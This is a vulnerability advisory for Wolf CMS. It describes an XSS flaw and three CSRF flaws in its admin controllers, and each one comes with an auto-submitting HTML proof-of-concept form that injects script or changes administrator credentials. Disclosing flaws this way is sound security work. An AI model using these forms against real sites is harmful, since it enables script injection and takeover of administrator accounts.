Multiple Vulnerabilities in Wolf CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Wolf CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in Wolf CMS
The vulnerability exists due to input sanitation error in the "user[name]" parameter in wolf/app/controllers/UserController.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/admin/?/user/add" method="post" name="main">
<input type="hidden" name="user[name]" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[email]" value="">
<input type="hidden" name="user[username]" value="">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user[language]" value="pl">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

2) Cross-site request forgery vulnerabilities in Wolf CMS
2.1 The vulnerability exists due to insufficient validation of the request origin in wolf/app/controllers/PageController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">
<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="Page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumb">
<input type="hidden" name="page[keywords]" value="">
<input type="hidden" name="page[description]" value='descr"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-22">
<input type="hidden" name="page[created_on_time]" value="06:15:18">
<input type="hidden" name="page[published_on]" value="2010-10-22">
<input type="hidden" name="page[published_on_time]" value="06:15:18">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="11">
<input type="hidden" name="part[0][filter_id]" value="textile">
<input type="hidden" name="part[0][content]" value="This is a page">
<input type="hidden" name="part[1][name]" value="sidebar">
<input type="hidden" name="part[1][id]" value="12">
<input type="hidden" name="part[1][filter_id]" value="">
<input type="hidden" name="part[1][content]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="commit" value="Save and Close">
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin in wolf/app/controllers/SettingController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link, store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?/setting" method="post" name="main">
<input type="hidden" name="setting[admin_title]" value='Wolf CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[admin_email]" value="email@example.com">
<input type="hidden" name="setting[language]" value="pl">
<input type="hidden" name="setting[theme]" value="brown_and_green">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>
2.3 The vulnerability exists due to insufficient validation of the request origin in wolf/app/controllers/UserController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main">
<input type="hidden" name="user[name]" value="username">
<input type="hidden" name="user[email]" value="myemail@example.com">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[administrator]" value="1">
<input type="hidden" name="user_permission[developer]" value="2">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="user[language]" value="en">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>
